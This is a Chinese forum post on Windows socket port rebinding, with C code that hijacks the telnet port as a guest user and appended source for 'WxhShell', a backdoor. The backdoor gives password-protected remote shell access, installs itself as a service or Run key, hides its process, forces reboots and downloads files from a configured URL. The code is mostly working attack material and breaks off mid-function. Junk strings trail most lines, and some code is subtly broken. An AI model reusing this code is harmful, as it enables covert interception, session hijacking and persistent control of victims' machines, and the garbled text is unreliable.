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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Aq'%a)Y2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b$R>GQ?#  
eBAB7r/7  
  saddr.sin_family = AF_INET; KR^peWR  
^YIOS]d>8#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .;KupQ;*  
u}%&LI`.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |I\A0aa  
') 1sw%[2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 peqFa._W  
H9)uni   
  这意味着什么?意味着可以进行如下的攻击: ''v1Pv-  
Xi{(1o4%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8&C(0H]1  
Jj6kZK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tiE+x|Ju"  
|16 :Zoq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VvF&E>f C  
:ZP3$Dp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J/<`#XZB   
f A,+qs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zRJy3/>  
5ZKnxEW,(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E+1j3Q;  
"tj#P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #P9VX5Tg  
!F<?he<U  
  #include Awh"SU Oh0  
  #include =h_gj >  
  #include b<( W}$x  
  #include    zBs7]z!eP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W"-nzdAJ5  
  int main() <@vE 3v;  
  { ;ZqFrHI M`  
  WORD wVersionRequested; AX,Db%`l,  
  DWORD ret; M<p)@p  
  WSADATA wsaData; :9h8q"T  
  BOOL val; Gj ^bz'2  
  SOCKADDR_IN saddr; |wb7`6g  
  SOCKADDR_IN scaddr; Np-D:G  
  int err; ^r& {V"l]  
  SOCKET s; 9bNIaC*M  
  SOCKET sc; cY"^3Ot%^  
  int caddsize; *tO<wp&  
  HANDLE mt; z>0"T2W y  
  DWORD tid;   (;j7 {(  
  wVersionRequested = MAKEWORD( 2, 2 ); @iP6 N  
  err = WSAStartup( wVersionRequested, &wsaData ); K`X2N  
  if ( err != 0 ) { xqtjtH9X  
  printf("error!WSAStartup failed!\n");  XGoy#h  
  return -1; zc1Zuco| R  
  } /r%+hS  
  saddr.sin_family = AF_INET; ~+np7  
   ". 0W8=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H\k5B_3OU  
UJH{vjIv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *@& "MZ/M  
  saddr.sin_port = htons(23); 1wgu%$|d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `l+SJLyJ%  
  { LX fiSM{o  
  printf("error!socket failed!\n"); Ww(_EW  
  return -1; %pp+V1FH  
  } ~?&ijhZ  
  val = TRUE; G'py)C5;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w?tKL0c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o/zCXZnw#  
  { X2uX+}h*tA  
  printf("error!setsockopt failed!\n"); [dJ\|=  
  return -1; EC~t 'v  
  } ;9PM?Iy[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vRq xZN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0c5_L6_z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O%&@WrFq  
dvD<>{U,8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C#~MR+;  
  { oSl>%}  
  ret=GetLastError(); ZYsFd_  
  printf("error!bind failed!\n"); /( V=Um^0  
  return -1; >&&xJ5  
  } t4IJ%#22  
  listen(s,2); =vc5,  
  while(1) '/H(,TM  
  { `"H?nf0  
  caddsize = sizeof(scaddr); Ds87#/Yfv  
  //接受连接请求 mvgm o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RF)B4D-W  
  if(sc!=INVALID_SOCKET) `0^i #  
  { *jK))|%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vs. uq  
  if(mt==NULL) @;6}xO2  
  { cWc)sb  
  printf("Thread Creat Failed!\n"); $P(nh'\  
  break; ]CZLaID~  
  } vVYduvw  
  } V8yX7yx  
  CloseHandle(mt); pNlisS  
  } ^JtHTLHL=  
  closesocket(s); Y*k<NeDyn  
  WSACleanup(); WO-WoPO  
  return 0; ^eW.hNg  
  }   ?X'* p<`  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?i~/gjp  
  { 8q3TeMYV  
  SOCKET ss = (SOCKET)lpParam; hzLGmWN2j8  
  SOCKET sc; 2 mZ/ 3u  
  unsigned char buf[4096]; wP/9z(US  
  SOCKADDR_IN saddr; RC(D=6+[C  
  long num; 4QFOO sNp  
  DWORD val; pU ]{Z(  
  DWORD ret; 3~</lAm;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %5*#c*)R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   > bF!Y]H  
  saddr.sin_family = AF_INET; <S$21NtM87  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i8Y gG0[)  
  saddr.sin_port = htons(23); wWw/1i:|'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M:M>@|)  
  { A{2$hKqHi  
  printf("error!socket failed!\n"); txo?k/w  
  return -1;  s7 o*|Xv  
  } #`4^zU)  
  val = 100; t4@g;U?o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q) BoWd  
  { j dhml%pAd  
  ret = GetLastError(); f#kevf9zc  
  return -1; mzB#O;3=  
  } p qN[G=0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uS#Cb+*F  
  { )[sO5X7'^  
  ret = GetLastError(); {H; |G0tR  
  return -1; t!SQLgA  
  } pMp9 O/u%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3Z:!o$  
  { [ |n-x3h  
  printf("error!socket connect failed!\n"); a<'$`z|s  
  closesocket(sc); -0SuREn  
  closesocket(ss); $pfe2(8  
  return -1; 4sBoD=e  
  } 5?L:8kHsH  
  while(1) f_h"gZWV  
  { )75yv<L2S,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R%_H\-wo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &NjZD4m`=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SP7g qM  
  num = recv(ss,buf,4096,0); "tB"j9Jb  
  if(num>0) sLa)~To  
  send(sc,buf,num,0); P .4b+9T x  
  else if(num==0) L*01l"5  
  break; l;}7A,u  
  num = recv(sc,buf,4096,0); %4|}&,%%r  
  if(num>0) T{4fa^c2J  
  send(ss,buf,num,0); SE9u2Jk  
  else if(num==0) $v<hW A]>  
  break; }t D!xI;  
  } dU>R<jl!$  
  closesocket(ss); liw 9:@+V  
  closesocket(sc); +'j*WVE%5  
  return 0 ; &tz%WW%D8  
  } /Np"J  
tD7C7m  
8^/Ek<Q b|  
========================================================== ENXW#{N.v  
6a]f&={E  
下边附上一个代码,,WXhSHELL oB06{/6  
K'5sn|)  
========================================================== mz$Wo *FB  
=R;1vUio  
#include "stdafx.h" {9.~]dI|L  
,cy/fW  
#include <stdio.h> iC|6roO!jk  
#include <string.h> QjjJtKz  
#include <windows.h> y~c4:*L3  
#include <winsock2.h> $ l sRg:J  
#include <winsvc.h> .V 3X#t  
#include <urlmon.h> PP[)h,ZL*  
{iIg 4PzrU  
#pragma comment (lib, "Ws2_32.lib") 7! b)'W?  
#pragma comment (lib, "urlmon.lib") h[je_^5  
B,vHn2W  
#define MAX_USER   100 // 最大客户端连接数 JNM@Q  
#define BUF_SOCK   200 // sock buffer TQ\wHJ  
#define KEY_BUFF   255 // 输入 buffer fFZ` rPb  
,gL)~6!A  
#define REBOOT     0   // 重启 -=[o{r`  
#define SHUTDOWN   1   // 关机 6 ,pZRc  
N<Z)b!o%u  
#define DEF_PORT   5000 // 监听端口 7{+Io  
_ U8OIXN  
#define REG_LEN     16   // 注册表键长度 9Ajgfy>  
#define SVC_LEN     80   // NT服务名长度 $Y 4ch ko  
FQ|LA[~  
// 从dll定义API n?e@):  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;TV'PJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %<J(lC9,C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GkGC4*n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "E ok;io  
(m3I#L  
// wxhshell配置信息 dy6F+V\DG  
struct WSCFG { U8QR*"GmT  
  int ws_port;         // 监听端口 i5E:FS^!I  
  char ws_passstr[REG_LEN]; // 口令 iVpA @p   
  int ws_autoins;       // 安装标记, 1=yes 0=no |+;KhC  
  char ws_regname[REG_LEN]; // 注册表键名 'tV"^KQHI  
  char ws_svcname[REG_LEN]; // 服务名 V>>) 7E:Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]IHD:!Z-=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kJ#[UCqzM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fJn3"D'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7\0|`{|R@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \p3nd!OIG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PD}SPOA`U3  
cGpN4|*rQ  
}; =2g[tsY  
=JbdsYI(  
// default Wxhshell configuration Qor{1_h)+9  
struct WSCFG wscfg={DEF_PORT, R(/[NvUb  
    "xuhuanlingzhe", SD|4ybK>d  
    1, c5iormb"#  
    "Wxhshell", =Y]'5cn{  
    "Wxhshell", qtdxMX]iR  
            "WxhShell Service", VO @ 4A6  
    "Wrsky Windows CmdShell Service", zy5s$f1IA  
    "Please Input Your Password: ", EN-8uY.  
  1, /HjI=263  
  "http://www.wrsky.com/wxhshell.exe", ek(kY6x:  
  "Wxhshell.exe" }/7.+yD  
    }; CFkW@\]  
D?\"  
// 消息定义模块 k67i`f=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XMeL^|D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nv_m!JG7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; STXqq[+Rf  
char *msg_ws_ext="\n\rExit."; gf3u0' $  
char *msg_ws_end="\n\rQuit."; *,pZ fc  
char *msg_ws_boot="\n\rReboot..."; `b^#quz  
char *msg_ws_poff="\n\rShutdown..."; +;:aG6q+  
char *msg_ws_down="\n\rSave to "; "9U+h2#]  
j:v~MrQ7|  
char *msg_ws_err="\n\rErr!"; `uNvFlP  
char *msg_ws_ok="\n\rOK!"; L.IoGUxD  
B~V<n&<  
char ExeFile[MAX_PATH]; 75\RG+kQ  
int nUser = 0; %2Xus9;k#  
HANDLE handles[MAX_USER]; X]zCTY=l  
int OsIsNt; ')P2O\YS  
e_I; y  
SERVICE_STATUS       serviceStatus; 0uVk$\:i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r3[t<xlFf  
nCffBc  
// 函数声明  e8XM=$@  
int Install(void); y(/jTS/ hd  
int Uninstall(void); Xc8= 2n  
int DownloadFile(char *sURL, SOCKET wsh); JK(`6qB>(6  
int Boot(int flag); up+.@h{  
void HideProc(void); ?dJ/)3I%F  
int GetOsVer(void); zt)p`kdD  
int Wxhshell(SOCKET wsl); L)kb (TH  
void TalkWithClient(void *cs); (<]\,pP0_  
int CmdShell(SOCKET sock); u|m[(-`  
int StartFromService(void); gJFR1  
int StartWxhshell(LPSTR lpCmdLine); B&4fYpn  
e?^ \r)1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3r~>~ueZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PmPyb>HK=P  
HO%E-5b9  
// 数据结构和表定义 2d5}`>  
SERVICE_TABLE_ENTRY DispatchTable[] = #sz]PZ\  
{ 2A*X Hvwb  
{wscfg.ws_svcname, NTServiceMain}, )Y&MIJ7>@  
{NULL, NULL} r3+<r<gs  
}; aW`:)y&f  
zmy4tsmX  
// 自我安装 0v_6cYA  
int Install(void) L~*|,h  
{ xQNw&'|UU  
  char svExeFile[MAX_PATH]; nV!2Dfd  
  HKEY key; Xk{!' 0  
  strcpy(svExeFile,ExeFile); _Hz~HoNU  
? -v  
// 如果是win9x系统,修改注册表设为自启动 ,h%D4EVx  
if(!OsIsNt) { L\/u}]dPQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SWNU1x{,c\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fe_::NVvk  
  RegCloseKey(key); L?=#*4t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {f`lSu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _L&n&y1+%  
  RegCloseKey(key); hw&ke$Fg#  
  return 0; eW\?eq+ `A  
    } r.^0!(d  
  } PtQQZ"ept  
} 1KeJd&e  
else { egZyng pB  
V;>9&'Z3  
// 如果是NT以上系统,安装为系统服务 JwN}Jm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #d }0}7ue  
if (schSCManager!=0) nuf@}W>y  
{ Q  `e~MD  
  SC_HANDLE schService = CreateService & cM u/}  
  ( c8^+^.=pX  
  schSCManager, tyc8{t#Z  
  wscfg.ws_svcname, -kG3k> by_  
  wscfg.ws_svcdisp, (w5u*hx  
  SERVICE_ALL_ACCESS, ]4Nvh\/P9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?8Hn {3X  
  SERVICE_AUTO_START, ]%gp?9wy  
  SERVICE_ERROR_NORMAL, fkdf~Vb  
  svExeFile, 33=Mm/<m$P  
  NULL, x2 w8zT6M  
  NULL, #5'c\\?Q  
  NULL, jo 7Hyw!g  
  NULL, aqcFY8b '  
  NULL "-G&=(  
  ); u/z,92mmS  
  if (schService!=0) P_,v5Qx"-  
  { ??|d=4g\  
  CloseServiceHandle(schService); > ]>0KQfO  
  CloseServiceHandle(schSCManager); J}x>~?W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4^ c!_K&&  
  strcat(svExeFile,wscfg.ws_svcname); 9 b?i G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [Xxw]C6\>(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^7i^ \w0  
  RegCloseKey(key); $cRcap  
  return 0; 6?53q e  
    } GLo\q:5A  
  } BhqhyX\D&y  
  CloseServiceHandle(schSCManager); sFbfFUd  
} $a`J(I  
} AyE%0KmraK  
pp/#Am  
return 1; Lf5%M|o.)  
} @)9REA(U  
Jb( DJ-&  
// 自我卸载 f&6w;T=  
int Uninstall(void) 99J+$A1  
{ PPUEkvH W  
  HKEY key; q $t&|{  
Xy:Gj, @  
if(!OsIsNt) { uK$=3[;U/!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dVvZu% DFp  
  RegDeleteValue(key,wscfg.ws_regname); ZrFr`L5F;  
  RegCloseKey(key); Bx+d3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *y)4D[ z-  
  RegDeleteValue(key,wscfg.ws_regname); A ?#]s  
  RegCloseKey(key); # .~ga7Q  
  return 0; lo"j )Zt  
  } L30>| g  
} 2>\b:  
} pNP_f:A|  
else { N2ni3M5v  
%,33gZzf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E|Q{]&$;Z"  
if (schSCManager!=0) ||R0U@F,  
{ /rqqC(1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qpoquWZ  
  if (schService!=0) - o4@#p>>  
  { I|H,)!Z  
  if(DeleteService(schService)!=0) { 7 n\mj\  
  CloseServiceHandle(schService); ):/,w!1  
  CloseServiceHandle(schSCManager);  ~q*i;*  
  return 0; PoJmW^:}  
  } -UJ?L  
  CloseServiceHandle(schService); 3voW  
  } q5%2WM]6  
  CloseServiceHandle(schSCManager); Q6u{@$(/N  
} Cy`26[E$S  
} F|,6N/;!W  
v}Z9+ yRC2  
return 1; _Q> "\_,  
} }6<)yW}U  
h5x*NM1Ih  
// 从指定url下载文件 {W-5:~?"  
int DownloadFile(char *sURL, SOCKET wsh) Dh2#$[/@1  
{ 3Hs$]nQ_X  
  HRESULT hr; kzMa+(fu  
char seps[]= "/"; w nWgy4:  
char *token; j+$ M?Z^  
char *file; oE$hqd s  
char myURL[MAX_PATH]; hXNH"0VCV  
char myFILE[MAX_PATH]; RV}GK L>gn  
;{Xy`{Cg!  
strcpy(myURL,sURL); F{;; :  
  token=strtok(myURL,seps); Ky *DfQA  
  while(token!=NULL) ;8BA~,4l  
  { {wcO[bN  
    file=token; juH wHt  
  token=strtok(NULL,seps); K|US~Hgv  
  } #hpIyy%n  
F#B5sLNb  
GetCurrentDirectory(MAX_PATH,myFILE); |P>|D+I0  
strcat(myFILE, "\\"); U{"f.Z:Ydo  
strcat(myFILE, file); %06vgjOa (  
  send(wsh,myFILE,strlen(myFILE),0); c& 3#-DNI  
send(wsh,"...",3,0); <8f(eP\*F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u %'y_C3  
  if(hr==S_OK)  QGXQ{  
return 0; B "*`R!y  
else `v~!H\q  
return 1; $Y6 3!*  
V`by*s  
} #XcU{5Qm5  
-/zp&*0gcx  
// 系统电源模块 <>]1Y$^Y  
int Boot(int flag) pL! a  
{ IJ0#iA. T  
  HANDLE hToken; 7RD$=?oO'  
  TOKEN_PRIVILEGES tkp; #K|0lau l  
MA$Xv`6I\  
  if(OsIsNt) { Gbn4 *<N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3524m#4&@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qo.Uqz.C  
    tkp.PrivilegeCount = 1; vGMJ^q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _PV*lK=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mW~P!7]  
if(flag==REBOOT) { U_l7CCK +  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G,=F<TnI'  
  return 0; BB63x Ex  
} Z2#`}GI_m  
else { l0Y?v 4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VRtO; F  
  return 0; IO"hF  
} )yrAov\z*  
  } ./7v",#*.'  
  else { Sl"BK0:%7  
if(flag==REBOOT) { K^aj@2K{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }"n7~|  
  return 0; qi&D+~Gv!  
} Ib6(Bp9.L  
else { d/]|657u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N 'i,>  
  return 0; -6`;},Yr  
} a8zZgIV  
} nkRK +~>  
E?cZ bn*>`  
return 1; L<=)@7  
} (UGol[f<  
'B`#:tX^N  
// win9x进程隐藏模块 c" +zgP  
void HideProc(void) f TO+ZTRqf  
{ Tm_8<$ 7  
;%Q&hwj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ' S,2  
  if ( hKernel != NULL )  &{ZSE^  
  { 4sIX O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t.)AggXj#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3fp> 4;ym'  
    FreeLibrary(hKernel); =!CU $g  
  } W$'0Dc  
8+>\3j  
return; Bc<n2 C0  
} TF\sP8>V  
Xpl?g=B&u  
// 获取操作系统版本 Xm|ib%no  
int GetOsVer(void) ,9\Snn  
{ K6B4sE  
  OSVERSIONINFO winfo; 8teJ*sz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .YR8v1Cp  
  GetVersionEx(&winfo); 'I v_mig  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MM gx|"  
  return 1; 4,~tl~FD  
  else ,{8v4b-  
  return 0; OKAkl  
} [;^,CD|P  
=|,A%ZGF$  
// 客户端句柄模块 =cn~BnowY  
int Wxhshell(SOCKET wsl) jct./arK  
{ :Q7mV%%  
  SOCKET wsh; X;VQEDMPU  
  struct sockaddr_in client; OH6n^WKY  
  DWORD myID; LuS+_|]x  
k ZxW"2  
  while(nUser<MAX_USER) .S7:;%qL6  
{ 0 iR R{a<  
  int nSize=sizeof(client); "hPCQp`Tj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <lj\#'G3  
  if(wsh==INVALID_SOCKET) return 1; R ]P;sk5  
>1ZJ{se  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `!i-#~n  
if(handles[nUser]==0) [/$N!2'5  
  closesocket(wsh); RJ}#)cT  
else %K1")s  
  nUser++; u7].}60.'  
  } z"UPyW1?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1bSD,;$sQ  
`R+,1"5=  
  return 0; [@G`Afaf  
} au$"B/  
AVFjBybu9  
// 关闭 socket J@]k%h  
void CloseIt(SOCKET wsh) w4%AJmt  
{ {Uq:Xw   
closesocket(wsh); H;S%Y`V  
nUser--; |=5/Rax^  
ExitThread(0); 0+`Pg  
} hO( RZ '{  
H~o <AmE0!  
// 客户端请求句柄 |" 7 Y52d  
void TalkWithClient(void *cs) .'d2J>~N  
{ ~pz FZ7n4  
tsv$r$Se  
  SOCKET wsh=(SOCKET)cs; Lgi[u"Du  
  char pwd[SVC_LEN]; _~M^ uW^l  
  char cmd[KEY_BUFF]; +S9PML){h  
char chr[1]; 1mH\k5xu  
int i,j; SlaDt  
Qf@iU%G  
  while (nUser < MAX_USER) { AIZBo@xg  
!p[`IWZ  
if(wscfg.ws_passstr) { v}[dnG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \#6Fm_b] u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A-uB\ L  
  //ZeroMemory(pwd,KEY_BUFF); v\%G|8+]  
      i=0; 33a uho  
  while(i<SVC_LEN) { L`[z[p {?  
79BaDB`{a  
  // 设置超时 `.v(fC  
  fd_set FdRead; =SBBvnPLI  
  struct timeval TimeOut; yI)~]K r  
  FD_ZERO(&FdRead); RU&_j* U  
  FD_SET(wsh,&FdRead); LFu%v7L`  
  TimeOut.tv_sec=8; ,t,wy37*D  
  TimeOut.tv_usec=0; L CSeOR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qf8[!5GM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S$[k Q|Am  
0rE(p2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NlF}{   
  pwd=chr[0]; 'q{733o  
  if(chr[0]==0xd || chr[0]==0xa) { Vrp[r *V@E  
  pwd=0; J4aB Pq`  
  break; q_t4OrLr=  
  } ?c#$dc"  
  i++; ,pt%) c  
    } 8;"*6vHZ  
(^n*Am;zlH  
  // 如果是非法用户,关闭 socket 51xk>_Hm}|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qa`hR  
} ^b-18 ~s  
m,_d^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %XTA;lrz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y(6Sp'0  
..<3%fL3  
while(1) { XL5Es:"+?S  
0 f/.>1M=  
  ZeroMemory(cmd,KEY_BUFF); %2l7Hmp4H  
cAuY4RV  
      // 自动支持客户端 telnet标准   K@:m/Z}|4  
  j=0; HY}j!X  
  while(j<KEY_BUFF) { +R.N%_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MI#mAg<  
  cmd[j]=chr[0]; 5VE2@Fn}  
  if(chr[0]==0xa || chr[0]==0xd) { rg QEUDEQ  
  cmd[j]=0; =f7r69I"  
  break; {nMAm/kyj  
  } Es'Um,ku  
  j++; XFqJ 'R  
    } =A!S/;z>  
[L~@uAMw:  
  // 下载文件 K%j&/T j1  
  if(strstr(cmd,"http://")) { vO@s$qi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K_BPZ5w  
  if(DownloadFile(cmd,wsh)) #exss=as/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Z,/g|s}z  
  else kQv*eZ~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Pj/7JC0  
  } xN0*8  
  else { V H^AcO  
A( d5G^  
    switch(cmd[0]) { ktH8as^54!  
  g:#d l\k  
  // 帮助 !<\Br  
  case '?': { 6Y384  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6oL1_)  
    break; Mi7y&~,  
  } "ZMkL)'7-  
  // 安装 ]MTbW=*}ED  
  case 'i': { q/&y*)&'O  
    if(Install()) 8im@4A+n`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &h~aChJ  
    else MXvXVhCU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;%!m<S|%k  
    break; [rY T  
    } YJF#)TkF  
  // 卸载 `,>wC+}  
  case 'r': { 2#5,MP~r  
    if(Uninstall()) kBEmmgL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sz95i|@/  
    else /SR^C$h'I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9w4sSj`  
    break; I9y.e++/  
    } cma*Dc  
  // 显示 wxhshell 所在路径 0@=MOGQb  
  case 'p': { y2yKm1<Ru<  
    char svExeFile[MAX_PATH]; F # YPOH  
    strcpy(svExeFile,"\n\r"); mZvG|P$}  
      strcat(svExeFile,ExeFile); %i0\1hhV<  
        send(wsh,svExeFile,strlen(svExeFile),0); @xWdO,#  
    break; ,"?A2n-qO  
    } w~\%vXla  
  // 重启 JBX[bx52<r  
  case 'b': { dZ(|uC!?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WE!vSZ3R  
    if(Boot(REBOOT)) 'c`jyn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (?&=T.*^  
    else { ;h/pnmhP  
    closesocket(wsh); 2j&@ p>  
    ExitThread(0); >yK0iK{  
